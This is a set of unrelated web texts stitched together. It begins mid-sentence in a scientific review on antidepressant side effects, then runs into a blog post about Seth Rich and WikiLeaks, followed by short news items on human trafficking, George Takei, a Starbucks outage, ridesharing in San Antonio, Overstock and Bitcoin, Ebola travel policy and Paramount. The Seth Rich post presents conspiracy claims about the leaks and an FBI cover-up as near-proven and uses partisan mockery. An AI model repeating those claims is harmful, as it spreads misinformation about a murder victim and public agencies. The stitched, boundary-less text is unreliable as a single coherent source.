which are proteins expressed by maturing neurons still going through the cell cycle, and NeuN, which is thought to be a marker of mature neurons that is expressed after doublecortin is downregulated. Positive signals for Ki-67, DCX, or NeuN are frequently interpreted as providing stronger evidence that antidepressants have triggered neuronal growth. However, a recent study using more sophisticated methodology found no evidence that the antidepressant fluoxetine increased neurogenesis (Kobayashi et al., 2010). But it did find evidence that fluoxetine caused mature neurons to take on immature functional characteristics, including an immature profile of synaptic plasticity and gene expression. Since Ki-67 and DCX are expressed in immature neurons, it is quite possible that dematured neurons increase their expression of Ki-67 and DCX. Importantly, Kobayashi and colleagues found that the dematured neurons still expressed NeuN. Altogether, it is not clear whether any of the methods typically used to assess neuronal growth and maturation are in fact responding only to apoptosis and dematuration. The dematuration of neurons could be caused by the reduction of serotonin synthesis that occurs when the brain pushes back against the synaptic-enhancing effects of antidepressants (see Figure ; Honig et al., 2009). Constant serotonergic input is needed to maintain the mature state of neurons (Azmitia, 2001). When serotonin synthesis is inhibited by parachlorophenylalanine, the cytoskeleton disassembles and synapses and dendrites are lost as neuronal processes retract, all of which indicate a return to an immature, undifferentiated state (Chen et al., 1994; Wilson et al., 1998; Azmitia, 2001). Neuronal dematuration, particularly the retraction of neuronal processes, appears to play a role in triggering apoptosis (Azmitia, 2001), which could explain why antidepressants induce neuronal death. But the functional reason for why “dematuration” triggers apoptosis is not precisely clear. Apoptosis plays a role in removing damaged cells and maintaining homeostasis of differentiated tissues by regulating the equilibrium between the cell death and cell birth (Hengartner, 2000). To maintain tissue homeostasis, inappropriately proliferating cells must be detected and killed. Thus, the body must be able to differentiate between controlled and uncontrolled proliferation to appropriately direct apoptotic processes. Dematuration might be viewed as a signal that the neuron is changing into a malignant proliferative state, making it a target for apoptosis. Similarly, pharmacologically forcing mature neurons to go through a cell cycle causes them to die through apoptotic processes (Herrup et al., 2004), perhaps because the sudden change in proliferative status marks them as possible neoplasms. Another way antidepressants could target neurons for apoptosis is by directly inflicting structural damage on them, since damaged neurons are often the targets of apoptosis (Cotran et al., 1998; Stergiou and Hengartner, 2004). We are only aware of one study that has tested whether antidepressants cause structural damage to neurons (Kalia et al., 2000). The study authors found that exposure to clinically relevant doses of fluoxetine (11.4 mg/kg, oral) or sertraline (28.6 mg/kg, oral) for only 4 days caused shortened axons, kinks, and swollen nerve terminals in the brains of otherwise healthy rodents. Such morphological changes are often taken as de facto evidence of neuronal damage (Kalia et al., 2000), and similar morphological features are thought to play a role in Parkinson’s disease (Cheng et al., 2010). Even if they do not directly promote neurogenesis, antidepressants could do so indirectly. When pharmacological interventions trigger neuronal apoptosis, the brain attempts to homeostatically compensate by upregulating neurogenesis. For instance, the induction of neuronal apoptosis in the hippocampus by kainic acid was subsequently followed by an upregulation in neurogenesis in the dentate gyrus and CA3 (Dong et al., 2003). The evidence of neurogenesis was not significant 18 days after the administration of kainic acid, but it was significant after 33 days. One study has shown that fluoxetine increased neuronal progenitor cells, but this was only 30 days after fluoxetine treatment had stopped (Encinas et al., 2006). It seems possible that antidepressants only induce neurogenesis indirectly as a result of the brain attempting to compensate for their apoptotic effects. In general, neuronal dematuration and damage are likely to interfere with proper brain functioning (Jackson, 2008, 2009). The Parkinsonian-like morphological characteristics caused by antidepressants could explain why antidepressants can induce tardive dyskinesia (involuntary, repetitive body movements; El-Mallakh et al., 2011). In rodents, repeated administration of antidepressants has been found to impair performance on a variety of learning tasks, including passive avoidance, elevated plus maze, and three-panel runway tasks (Ulak et al., 2006; Mutlu et al., 2011). In humans, a recent large epidemiological study has found that prolonged antidepressant use was associated with a 70% increase in the risk of mild cognitive impairment in elderly women and an increased risk of probable dementia (Goveas et al., 2011). Attention A common symptom of depression is difficulty concentrating. This is due to the fact that depressed people often have persistent thoughts related to their episode called ruminations that are resistant to distraction and difficult to suppress. These ruminations interfere with the ability to concentrate on other things. In other words, depression clearly affects the allocation of limited attentional resources – particularly working memory (Andrews and Thomson Jr., 2009). These attentional resources are at least partly controlled by serotonin (Carter et al., 2005; Andrews and Thomson Jr., 2009). Consequently, antidepressants could disrupt attentional processes. One study has shown that the antidepressant sertraline decreases rumination in patients with dysthymia (Kelly et al., 2007). The reduction of rumination is widely thought to be beneficial, however the scientific literature suggests otherwise. Interventions that disrupt rumination (e.g., distraction, thought suppression) do tend to reduce symptoms in the short-term (Morrow and Nolen-Hoeksema, 1990; Nolen-Hoeksema and Morrow, 1993; Vickers and Vogeltanz-Holm, 2003; Park et al., 2004; Andrews et al., 2007), but they tend to increase symptoms in the long-term (Schmaling et al., 2002; Wenzlaff and Luxton, 2003; Hayes et al., 2005), suggesting that the short-term effects are palliative and do not address cause (Andrews and Thomson Jr., 2009). On the other hand, interventions that encourage rumination (e.g., writing about one’s strongest thoughts and feelings related to the episode) have been found to increase insight and shorten the duration of episodes (Hayes et al., 2005, 2007; Gortner et al., 2006; Graf et al., 2008), suggesting that these interventions address cause (Andrews and Thomson Jr., 2009). In other words, the disruption of rumination may not be productive. In any event, other research shows that antidepressants have negative effects on attention. When administered to non-depressed volunteers for several weeks, they tend to impair cognition (Hindmarch, 2009), particularly on tasks that require highly focused working memory or vigilance (Schmitt et al., 2001, 2002; Riedel et al., 2005). Of particular interest are experiments showing that antidepressants interfere with driving performance – a task that requires sustained vigilance (Ramaekers et al., 1995; O’Hanlon et al., 1998; Wingen et al., 2005). Recently, these researchers have extended their studies to examine the effects of antidepressants and other prescription drugs on real world driving accidents using a primary care database in the United Kingdom (Gibson et al., 2009). Using the year prior to drug exposure as a baseline [incident rate ratio (IRR) = 1], people who took SSRIs were at a greater risk of a driving accident in the 4-week period before first being prescribed the drug (IRR = 1.7, 95% CI = 1.47–1.99). This suggests that depression, anxiety, or other conditions that lead to antidepressant use are risk factors for accidents. In the first 4-week period of SSRI use, however, the risk of driving accidents returned to baseline (IRR = 0.92, 95% CI = 0.75–1.12). Taken in isolation, this would seem to suggest antidepressants protect against driving accidents. But SSRIs only reduce symptoms after several weeks of continuous use, and this was not a placebo-controlled study, so it is possible that the reduced risk was attributable to other effects of seeking help rather than the SSRI. Indeed, there was a similar reduction in driving accident risk in the 4-week period of first use of other drugs that interfere with attention (benzodiazepines, non-benzodiazepine hypnotics, beta-blockers, opioids, and antihistamines). After 4 weeks of use, however, the risk of driving accidents increased and remained increased for the duration of SSRI treatment (IRR = 1.16, 95% CI = 1.06–1.28). Once SSRI treatment was discontinued, the risk of accidents returned to baseline (IRR = 1.03, 95% CI = 0.92–1.16). Similarly, benzodiazepines, non-benzodiazepine hypnotics, opioids, and antihistamines showed an increased risk of accidents with prolonged use that returned to baseline upon discontinuation. Overall, the pattern suggests that SSRIs – as well as benzodiazepines, hypnotics, opioids, and antihistamines – increase the risk of driving accidents. Antidepressant use is associated with an increased risk of falling and bone fractures in the elderly (Cumming, 1998). This may also be attributable to the effects of antidepressants on attention, since avoiding falls requires vigilance in the elderly (Holtzer et al., 2007). However, the risk of bone fracture after a fall is probably increased because SSRIs lower bone mineral density (Moret et al., 2009). Gastrointestinal function Antidepressants that block the serotonin transporter can cause long-term increases in serotonin in the gut because transporter uptake is the primary mechanism for clearing serotonin. There are backup transporters that can take up serotonin in the gut, but they are less efficient and do not completely compensate for the loss of function of the serotonin transporter (Gershon and Tack, 2007). As discussed above, elevated levels of serotonin in the intestinal lining are associated with irritable bowel syndrome, characterized by pain, diarrhea, constipation, indigestion, bloating, and headache. Antidepressants that bind to the serotonin transporter could cause similar symptoms. In fact, pain, diarrhea, constipation, indigestion, bloating, and headache are common side effects of antidepressants, with frequencies ranging from 13.8 to 22.9% in one recent study (Zimmerman et al., 2010). Platelet activation and the clotting process Serotonin is involved in platelet activation, which is important in the clotting process (Heger and Collins, 2004). Platelets take in serotonin from the plasma via the serotonin transporter, and the serotonin molecules aggregate in the form of dense granules. When these granules are released, they activate processes that cause pro-aggregating proteins to be released from the platelet (Heger and Collins, 2004). Thus, the clotting process requires stores of serotonin in platelets. Platelet activation also plays a role in atherosclerosis and thrombosis (Gawaz et al., 2005; Weber, 2005). Research on depressed patients has shown that plasma levels of serotonin are reduced, platelet levels are elevated, and pro-aggregating processes are enhanced, possibly increasing the risk of cardiovascular events (Musselman et al., 2000; Bakkaloglu et al., 2008; Flock et al., 2010). Antidepressants that bind to the serotonin transporter, such as the SSRIs, can affect processes that depend on platelet activation. SSRIs block the uptake of serotonin into the platelet, which causes serum levels of serotonin to increase, platelet levels to decrease, and the inhibition of pro-aggregating processes (Musselman et al., 2000; Bakkaloglu et al., 2008; Flock et al., 2010).
Abnormal Bleeding Consistent with inhibition of the clotting process, there is growing evidence that SSRIs increase the risk of abnormal bleeding. Antidepressant users are more likely to be hospitalized for abnormal bleeding (Meijer et al., 2004) and lose more blood during elective surgery (van Haelst et al., 2010). A recent population based case-control study in Denmark found that SSRI users are also at modestly increased risk of upper gastrointestinal bleeding, but the risk increases further when SSRIs are used in association with other anti-thrombotic drugs, such as NSAIDs (Table ; Dall et al., 2009). Table 4 Medications used Adjusted odds ratio (95% CI) SSRI alone 1.7 (1.01–2.8) Aspirin alone 2.4 (1.72–3.3) Other NSAIDs alone 4.3 (3.7–5.1) SSRI and aspirin, no other NSAIDs 3.0 (0.96–9.2) Aspirin and other NSAIDs, no SSRI 13 (8.7–20) SSRI and other NSAIDs, no aspirin 8.0 (4.8–13) SSRI, aspirin, and other NSAIDs 28 (7.6–103) Open in a separate window
Cardiac Events Depression is associated with an increased risk of cardiovascular disease, particularly myocardial infarction, coronary heart disease, and stroke (Van der Kooy et al., 2007; Pozuelo et al., 2009). As discussed above, these increased risks may be partly due to the effects of serotonin on platelet activation. Researchers have therefore speculated that antidepressants that bind to the serotonin transporter might be useful treatments for cardiac patients. A recent study suggests that antidepressant use may help protect cardiac patients against cardiac related death while in the hospital (Hata et al., 2011). However, several limitations of the study are worth noting: specifically, the sample size was small, patients were not randomized to the antidepressant treatment, and it was not placebo-controlled. Indeed, the epidemiological literature on antidepressant effects on cardiac events is mixed. TCAs are generally associated with an increase in cardiac events, due to anticholinergic properties, NE reuptake blockade, and other effects (Cohen et al., 1996; Tata et al., 2005). However, studies on SSRIs have produced mixed results, with some showing a protective effect (Sauer et al., 2003; Monster et al., 2004; Schlienger et al., 2004), others showing no effect (Cohen et al., 2000; Meier et al., 2001), and still others showing an increased risk of cardiac events (Tata et al., 2005). Moreover, controlled trials have not, at least thus far, shown that SSRIs or psychotropic treatments have much effect on cardiac events in cardiac patients (Pozuelo et al., 2009).
Cerebrovascular Events In principle, the anticoagulant properties of SSRIs could reduce occurrences of stroke, which could also increase survival in stroke patients. One widely cited study has explored the mortality effects of antidepressant treatment in the aftermath of stroke (Jorge et al., 2003). One hundred and four stroke patients were randomly assigned to 3 months of antidepressant use (nortriptyline or fluoxetine) or placebo, and then followed up 9 years later. Antidepressant use was associated with a significantly higher 9-year survival rate, which seems to contradict the epidemiological findings discussed above. Unfortunately, the randomization was unsuccessful. The patients in the placebo group were significantly more likely to have diabetes, and they tended to be older, more obese, more likely to have atrial fibrillation, and more likely to have chronic pulmonary obstruction, all of which are serious problems that could have contributed to the higher mortality rate. This study has been criticized for failing to control for these differences and other errors (Sonis, 2004; Ghaemi and Thommi, 2010). If the study authors had re-analyzed the data controlling for these differences, they could have silenced the critics, but the authors declined to do so (Jorge et al., 2004). Moreover, any beneficial anticoagulant effects may be counter-balanced by negative anticoagulant effects, so the overall effect may be neutral. Indeed, large meta-analyses on the effects of other anticoagulants in stroke patients find that they have no net effect on mortality (Paciaroni et al., 2007; Sandercock et al., 2008). Anticoagulants decrease the risk of recurrent ischemic strokes, but this benefit is offset by the increased risk of intracranial hemorrhages. Similarly, the beneficial effects of anticoagulants in reducing the frequency of pulmonary emboli are counter-balanced by the increased risk of extracranial hemorrhages (Sandercock et al., 2008). Given the strength of this literature, it would be surprising if future research demonstrated an unambiguous positive net effect of antidepressants on mortality in stroke patients. It has also been argued that antidepressants could promote recovery from stroke (Kramer, 2011). A recent randomized clinical trial in France involved 118 patients with recent ischemic stroke and given early treatment with fluoxetine or placebo. The fluoxetine group showed greater motor recovery at a 90 day follow up (Chollet et al., 2011). Given our discussion above, it is unlikely that fluoxetine promoted recovery due to a direct promotion of neurogenesis. However, the clearance of damaged neurons through apoptosis, the dematuration of adult neurons (which might increase plasticity), and compensatory neurogenesis could have all contributed to greater recovery. Another way in which antidepressants could contribute to motor recovery after stroke is by enhancing extracellular serotonin levels, since serotonin plays a role in repetitive and gross motor activity (Jacobs and Fornal, 1995, 1999). In any event, while promising, the effects of antidepressants on motor recovery after stroke must be confirmed. Reproductive function Serotonin is an important regulator of various aspects of reproduction (Azmitia, 2001). While depression is itself associated with impaired sexual behavior, most antidepressants increase the degree of impaired sexual functioning in men and women, including various aspects of desire, arousal, and orgasm (Serretti and Chiesa, 2009). TCAs and at least some SSRIs have adverse effects on sperm motility, volume, and morphology (Hendrick et al., 2000; Tanrikut et al., 2010). There are also case reports that antidepressants may impair the affective dimensions of romantic love and attachment (Fisher and Thomson, 2006). Development Serotonin plays important role in development (Azmitia, 2001), so antidepressants could affect developmental processes. Depression is common among pregnant and lactating mothers, and antidepressants are frequently prescribed (Moret et al., 2009; Ellfolk and Malm, 2010). SSRIs pass through the placental barrier and maternal milk, so antidepressants have the opportunity to affect the development of the fetus and the neonate (Moret et al., 2009; Ellfolk and Malm, 2010). When administered during pregnancy, SSRIs may increase the risk of a preterm delivery and low birth weight, although the results are mixed and inconclusive (Ellfolk and Malm, 2010). Some SSRIs – particularly paroxetine – also appear to be mild fetal teratogens (Bar-Oz et al., 2007; Cole et al., 2007). In one meta-analysis, first-term exposure to paroxetine was associated with an adjusted odds ratio of 1.89 for congenital defects (Cole et al., 2007). SSRI exposure during the third trimester has been associated with medication withdrawal symptoms in the newborn, including abnormal crying, irritability, and convulsions (Moret et al., 2009; Ellfolk and Malm, 2010). Third trimester SSRI exposure has also been associated with an increased risk of persistent pulmonary hypertension in the newborn, which is a serious condition with a mortality rate of about 10% (Ellfolk and Malm, 2010). Researchers are continuing to investigate the long-term developmental effects of prenatal and neonatal exposure to SSRIs (Ellfolk and Malm, 2010; Homberg et al., 2010). Recently, a study found that fetal exposure to SSRIs, particularly during the first trimester, was associated with an increased risk of developing autism spectrum disorders (Croen et al., 2011). Electrolyte homeostasis Serotonin is important in regulating water balance and electrolyte homeostasis (Johnson and Thunhorst, 1997; Elgot et al., 2009; Fonseca et al., 2009). The body normally keeps serum concentrations of sodium within 135–145 mEq/L, and hyponatremia occurs when levels fall below 130 mEq/L (Moret et al., 2009). Between 120 and 130 mEq/L, hyponatremia can cause nausea, headache, malaise and lethargy, muscle cramps, and disorientation. Lower levels are associated with seizures, coma, respiratory arrest, and death. Although the mechanism is unclear, SSRI use is associated with an increased risk of hyponatremia in the elderly, with studies showing an increased risk ranging from 0.5 to 32% (Jacob and Spinler, 2006). A large epidemiological study in the UK found that the risk of hyponatremia increased by 50% or more for several commonly prescribed antidepressants – citalopram, escitalopram, fluoxetine, and venlafaxine (Coupland et al., 2011). The harmful effects of hyponatremia may be exacerbated in patients who take diuretics and other medications (Moret et al., 2009). Suicidal behavior Depression is a risk factor for suicidal ideation and behavior, which suggests that antidepressants might reduce these risks. However, there is well-known controversy over whether antidepressant use reduces or increases suicidal behavior (Baldessarini et al., 2007; Reeves and Ladner, 2010). The largest, most recent meta-analyses of randomized, placebo-controlled trials generally find a positive association between antidepressant use and suicidal behavior. In one meta-analysis involving 702 trials and over 87,000 patients, SSRI use was associated with an increased risk of suicide attempts (Fergusson et al., 2005). In another meta-analysis of 342 randomized, double-blind, placebo-controlled trials submitted to the FDA involving over 99,000 patients, antidepressant use was associated with an increased risk of suicidal behavior in children, adolescents, and young adults (Stone et al., 2009). But it had no overall effect in adults aged 25–65, and it reduced the risk in the elderly. The reason for the age effect is unknown and worth further investigation. On the other hand, in a recent large epidemiological study in the UK that controlled for many important covariates, including depressive symptoms, patients over 65 years old who were not taking any antidepressant had a 0.25% chance of harming themselves or making a suicide attempt over a 1 year period (Coupland et al., 2011). However, the risk was higher for antidepressant use: 0.43% (TCAs), 0.55% (SSRIs), 1.30% (mirtazapine or venlafaxine). In short, the empirical literature is complex and it is not possible to make any strong conclusions based on it, except that antidepressant-induced suicide is rare (Baldessarini et al., 2007; Reeves and Ladner, 2010). In any event, uncertainty about the effects of antidepressants on suicidal behavior is germane to the costs and benefits of antidepressants. Other side effects Reviews of other side effects are readily available (Brambilla et al., 2005; Stahl, 2008; Zimmerman et al., 2010), so we do not address them here. We merely note that 50–60% of antidepressant users report experiencing gastrointestinal, sexual, and other significant side effects (Brambilla et al., 2005; Serretti and Chiesa, 2009; Zimmerman et al., 2010), and that these side effects are unpleasant enough that they are one of the most common reasons for discontinuing them (Demyttenaere et al., 2001; Bull et al., 2002).
Do Antidepressants Do More Harm than Good? It is a principle of evolutionary medicine that the disruption of evolved adaptations will degrade biological functioning. Antidepressants disrupt the functioning of the homeostatic mechanisms that regulate serotonin throughout the body, and our review shows that antidepressants have adverse effects on every major system regulated by serotonin. Antidepressants increase the brain’s susceptibility to future episodes of depression (Andrews et al., 2011). They cause neuronal damage (Kalia et al., 2000), apoptosis (Post et al., 2000; Bartholoma et al., 2002; Sairanen et al., 2005), and dematuration (Kobayashi et al., 2010). The evidence that antidepressants directly promote neurogenesis is equivocal. It is quite possible that any neurogenesis that does take place is a compensatory response of the brain to antidepressant-induced apoptosis. Antidepressants can also cause |
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For more free fonts, check out UrbanFonts.comFox5 is reporting that a private investigator has turned up tangible evidence that murdered DNC staffer Seth Rich was in contact with Wikileaks. Which further provides more evidence he was most likely the source of the DNC leaks. The same report points out the FBI have been trying to cover-up the discoveries.
The motive for the leaks was obvious, the collusion within the DNC, specifically with the U.S. media, to eliminate Bernie Sanders as a potential risk to Clinton’s ambitions. If proven accurate this would also further prove “the Russians” had nothing to do with the DNC leaks. That’s the basis for the entire “muh russian conspiracy” narrative.
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WASHINGTON DC – […] Rod Wheeler, a private investigator hired by the Rich family, suggests there is tangible evidence on Rich’s laptop that confirms he was communicating with WikiLeaks prior to his death.
Now, questions have been raised on why D.C. police, the lead agency on this murder investigation for the past ten months, have insisted this was a robbery gone bad when there appears to be no evidence to suggest that.
Wheeler, a former D.C. police homicide detective, is running a parallel investigation into Rich’s murder. Wheeler said he believes there is a cover-up and the police department has been told to back down from the investigation.
“The police department nor the FBI have been forthcoming,” said Wheeler. “They haven’t been cooperating at all. I believe that the answer to solving his death lies on that computer, which I believe is either at the police department or either at the FBI. I have been told both.”
When we asked Wheeler if his sources have told him there is information that links Rich to Wikileaks, he said, “Absolutely. Yeah. That’s confirmed.” (read more)
AdvertisementsExperts say it's vastly under reported and often overlooked, but millions of men are victims of human trafficking world-wide.
A report from the National Human Trafficking Hotline showed which country they were most likely to be found in 2016--the United States.
It also found that 58 percent of male trafficking victims were used for forced labor, in industries spanning from agriculture and forestry to hotels and restaurants.
But, Ashley Cruz at the Rape Crisis Center told ABC15 that getting men to speak out about their situations like trafficking, domestic violence, or sexual assault is harder, even if she and her staff have resources available specifically for them.
"You have to be strong, you have to be aggressive, you can't fall victim to manipulation, coercion, or just straight fear. It's not allowed for males," Cruz said, while telling us that world-wide, 45 percent of all trafficking victims are male.
Cruz introduced us to her husband, a Brazilian jujitsu fighter and teacher. The couple helped a friend of the husband's after the friend was brought to the US to teach jujitsu classes, and never paid the money he was promised.
"The salary never came, and he was never put in a better place to sleep. He was taking showers in other gyms," Elton Hoshihara Cruz recalled.
He said human trafficking is common in the Brazilian jujitsu industry.
Ashley Cruz said human trafficking is on the rise for both men and women, explaining that it's on pace to overtake the drug trafficking industry within 5 years.
If you are a victim of domestic violence, sexual assault, or human trafficking and need help, please call the Rape Crisis Center at 843-448-7273 (Horry County) or 843-545-5198 (Georgetown County).
National Human Trafficking Resource Center Hotline: 888-373-7888
National Domestic Violence Hotline: 800-799-7233Try all of TeamSnap's time-saving features FREE for four months, no credit card required. Use features like the schedule manager, player availability, and automated email and text alerts free for four months. Then choose one of our free or paid plans. If you already have an account, please make sure you're signed in before creating your new team.
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Account Login Free & Paid Plans Available! No credit card required. Cancel anytime. Choose a Sport or Group: Non-Sport Group -------------- Australian Football Badminton Bandy Baseball Basketball Bocce Bowling Broomball Cheerleading Chess Cow Tipping Cricket Croquet Curling Cycling Dodgeball Dragon Boat Fencing Field Hockey Floorball Foosball Football Golf Gymnastics-Men Gymnastics-Women Hurling Ice Hockey Indoor Soccer Inline Hockey Ki-O-Rahi Kickball Lacrosse Netball Outrigger Paintball Petanque Polo Racquetball Ringette Roller Derby Rowing Rugby Running Sailing Soccer Softball Swimming Tennis Track And Field Ultimate Volleyball Water Polo Wiffleball Wrestling -------------- Other Sport Create My Free Account We don’t sell or share your personal information. Please enter your acount information Sign InOn March 20, in between jokes—“You can’t spell ‘diet’ without ‘die,’” and sharing a picture of a man dressed as a giant iron (Iron Man, get it?)—George Takei put up a serious post on his Facebook feed. Fred Phelps, the founder of Westboro Baptist Church, known for its vitriolic picketing at the funerals of soldiers and gay people, had just died. “He was a tormented soul, who tormented so many,” Takei wrote to his nearly 6.5 million followers. “Hate never wins out in the end. It instead goes always to its lonely, dusty end.”
To newcomers, the abrupt change of tone might sound odd. But Takei's followers weren’t likely surprised; in the midst of humor, they know, he often delivers wise and solemn messages to fans.
For decades, Takei, who turns 77 in April, was most famous for his role as Hikaru Sulu on the original Star Trek series (catchphrase: “Oh my!”). But since he started his Facebook page in 2011, the actor has been a social-media whiz. He’s got more than a million Twitter followers, in addition to his Facebook throngs. His feeds are fun mix of dad-humor—puns and silly photos—and the occasional dirty joke, all of which get tens of thousands of “likes” and thousands of comments as well. He frequently mentions his husband, Brad, and his daily life in Hollywood, attending premieres or giving a birthday shout-outs. His fan base has grown from Trekkies to people who simply like some humor in their Facebook. He’s even popular on Amazon, where his funny reviews of products have made him a top commenter on the site. If you’re not following Takei, a bunch of your friends probably are. I learned that when I went to his page to discover 87 of my friends had already “liked” him. Anyone following, however, will also notice the occasional, pointed comments about civil rights, politics and history.
You might say that Takei is playing a long game. Speaking at SXSW earlier this month, he explained to interviewer Matthew Segal, the president of a civic education organization that targets millennials with social media, OurTime.org, his reasons for starting the Facebook page that would renew his celebrity for a new generation.
He began in an unexpected manner. “I grew up imprisoned in two U.S. barbed wire prison camps, internment camps,” he said. He wanted to “raise the awareness of that dark chapter and make sure it never happens again, and the best way to do that [was] through a Broadway musical.” But to get a musical to Broadway, Take would need a much larger audience of likely ticket-buyers. Takei began work on Allegiance, which follows a Japanese-American family as they’re relocated from California to rural Wyoming, but meanwhile, he set out on social media to find new fans. He didn’t start out mentioning internment camps though. “Kitten [photos and memes] got people to like and share,” he said. “You catch more flies with honey and then you sock it to them with the meat.”
Takei’s social media approach is a bit like Buzzfeed—he aggregates the funnier stuff from the internet: “someecards” and giant quotations with pretty backgrounds, to silly signs. He gives fans riddles or asks them their Oscar picks. It’s like a much better version of the friend who sends along chain emails and long jokes to everyone they know. Only in this case, the people come to Takei.
Takei’s posts, all done by him personally, give him a unique voice on social media. Many celebrities make impassioned pleas on social issues, at least when they're not hawking their brands, but few have been able to use Twitter or Facebook to both get people to like them more and take them more seriously. But Takei’s blend of jokes and serious commentary has allowed him to be both the internet’s funny uncle and moral grandfather at the same time. He’s a host on the Howard Stern Show. He talks about gay rights while making jokes about clothing-store signs for “active male tops” and “active male bottoms.” Then he brings up the horrifying stories of Japanese internment to audiences who usually aren’t expecting a gut-wrenching history lesson.
In person, he uses the opposite formula, speaking seriously and sprinkling in a few lines that bring down the house with laughter. At SXSW, Segal, his interviewer, seemed surprised by his forthright and non-humorous discussions of his childhood, American history and politics. He invoked his father’s love for the former Illinois Governor Adlai Stevenson, the progressive Democrat who lost twice to Dwight Eisenhower, and discussed the importance of political participation. He criticized Edward Snowden’s decision to leave the country rather than stand trial and embrace a civil disobedience tradition. (“He’s talking about freedom and liberty and he goes to Russia of all places.”) and excoriated the International Olympic Committee’s decision to keep the Olympics in Russia after the passage of anti-gay laws. “The Olympic Committee is absolutely spineless.”
But he still knew how to lighten the mood. He told the audience how, for decades, many—if not most—mispronounced his name as "Tak-kai,” which sounds like the Japanese word for “expensive." But when, in 2011, he heard about the Tennessee Legislature’s proposal to ban teachers from using any language that assumes the existence of gay people—a bill known as “Don’t Say Gay”—Takei suggested that people could substitute his name for the word “gay,” as in Takei Pride Parades. His strategy, he now says, was two-fold: Mock the measure and get people to pronounce his name correctly: "Takei, rhymes with gay."Some Starbucks coffee addicts were getting their caffeine fix for free Friday, as the company's computer system failed across North America.
News of the failed system spread quickly across Twitter as customers celebrated getting their hand-crafted beverages gratis.
A hashtag — #thefrappening — was gleefully adopted.
CBC News in Vancouver visited two stores on Robson Street to order drinks and were told the tills were down, and that the drinks would be free. Staff could not say when things would be back to normal.
Other tweets say the stores are now accepting only cash.
As the outage persisted into the evening, Starbucks said it would close its stores early as well as its Evolution Fresh and Teavana stores that were also affected.
""The outage was caused by a failure during a daily system refresh," the company said in a statement, adding that all of its stores are expected to open on Saturday as usual.
Confirmed - free tall coffee or tea at the Starbucks at Water and Cambie <a href="https://twitter.com/hashtag/Vancouver?src=hash">#Vancouver</a> <a href="https://twitter.com/VancityBuzz">@VancityBuzz</a> <a href="https://twitter.com/hashtag/thefrappening?src=hash">#thefrappening</a> <a href="http://t.co/EgvpjPvMFl">pic.twitter.com/EgvpjPvMFl</a> —@MissBriannaM
Thanks for the free caramel macchiato, <a href="https://twitter.com/Starbucks">@starbucks</a>! <a href="https://twitter.com/hashtag/thefrappening?src=hash">#thefrappening</a> <a href="http://t.co/DpXdbjAnLG">pic.twitter.com/DpXdbjAnLG</a> —@vygreatwiseone
Considering they're giving away free drinks, this <a href="https://twitter.com/hashtag/Starbucks?src=hash">#Starbucks</a> is surprisingly empty <a href="http://t.co/Vv9LYXzG5C">pic.twitter.com/Vv9LYXzG5C</a> —@SpiderRider3
Starbucks downtown Vancouver free coffee today because computer network is broken. LOL <a href="https://twitter.com/hashtag/starbucks?src=hash">#starbucks</a> <a href="https://twitter.com/hashtag/vancouver?src=hash">#vancouver</a> <a href="https://twitter.com/hashtag/coffee?src=hash">#coffee</a> <a href="http://t.co/bUiPHuAfBB">pic.twitter.com/bUiPHuAfBB</a> —@anthonymawPolice chief: Lyft, Uber still not legal in San Antonio
Lyft drivers listen to Luis Gonzalez of the marking firm OCI Group, as he tells them about the prodceedures for the City Council Public Safety Committe hearing on the rideshare debate. Lyft drivers listen to Luis Gonzalez of the marking firm OCI Group, as he tells them about the prodceedures for the City Council Public Safety Committe hearing on the rideshare debate. Photo: Robin Jerstad Photo: Robin Jerstad Image 1 of / 17 Caption Close Police chief: Lyft, Uber still not legal in San Antonio 1 / 17 Back to Gallery
SAN ANTONIO — Although a task force will be formed to study how, or if, ridesharing companies Lyft and Uber can legally operate in San Antonio, the police chief said Wednesday in the meantime, the city will continue to enforce its vehicle-for-hire ordinance, which prohibits those companies from operating.
Addressing the City Council Public Safety Committee, Police Chief William McManus also said the police department's Ground Transportation Unit might impound the vehicles of Lyft and Uber drivers if they are caught operating a chauffer or taxi-like service without a city permit.
So far, the city has cited 10 Lyft and Uber drivers for operating illegally.
Leandre Johns, general manager of Uber in San Antonio, also confirmed Wednesday that the company started charging passengers in the last week and a half or so. Previously, Lyft and Uber representatives have said they will not charge passengers in order to avoid violating the city ordinance.
Lyft and Uber connect nonprofessional drivers with passengers looking for a ride via smartphone apps. They contend existing vehicle-for-hire rules should not apply to them because they say they provide a technology service that connects people, rather than a transportation operation.
The city disagrees. The chief sent Lyft a cease-and-desist letter in late March, shortly after the company launched operations in San Antonio. A similar letter will soon be sent to Uber, McManus said Wednesday.
For more about this developing story, check with expressnews.com and read about it in Thursday's edition of the Express-News.
vdavila@express-news.net
Twitter: @viannadavilaOverstock.com unexpectedly announced today they had begun accepting Bitcoin.
CEO Patrick Byrne had told us and others the launch wouldn't come for another few months.
Byrne now tells us that last week, they decided to reach out to Coinbase.com, one of the largest Bitcoin payment processors. They said that with a dedicated team at Overstock they would be able to launch within a week. And they did.
"They actually came back with a plan on the evening of New Year's Day on how get live in a week, we've had 40 people from diff parts of company, [on the project], including customer service agents."
About $10,000 worth of Bitcoin from about 100 purchasers has already been spent since the announcement less than two hours ago, Byrne said. Online Bitcoin chatter indicates much of it is from folks making purchases in tribute to the company's vote of confidence in the digital currency.
The most expensive item yet purchased? This handsome 13-piece patio set from Amazonia.On Anderson Cooper 360 Thursday, Ebola expert David Quammen argued that America had a “responsibility” to allow people from Liberia to fly into the country because of the legacy of American slavery.
Quammen, author of Ebola and Spillover, has been making the rounds on news outlets over the last few weeks as an expert on the history of Ebola. Thursday, Quammen offered Cooper his opinion on the proper American response to the epidemic:
Quammen: You can’t isolate neighborhoods, you can’t isolate nations. It doesn’t work. And people talk about, ‘Well, we shouldn’t allow any flights from Liberia.’ I mean, we in America, how dare we turn our backs on Liberia given the fact that this is a country that was founded in the 1820s, 1830s because of American slavery. We have a responsibility to stay connected to them and help them see this through.
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Original Article
Share ThisEXCLUSIVE: Before Brad Grey showed footage from Paramount’s Oscar contenders and future slate highlights in New York last week and in Los Angeles last night, he promised a new chapter for Paramount Pictures. Though brief, his appearances marked his re-emergence as the studio’s public face. And really, who could blame him for lying low in recent months? While Paramount was turning in the worst fiscal year performance of Grey’s almost 12-year tenure, a boardroom battle raged upstairs at the corporate parent, culminating in the ouster of Viacom chief Philippe Dauman by controlling shareholders Sumner Redstone and daughter Shari.
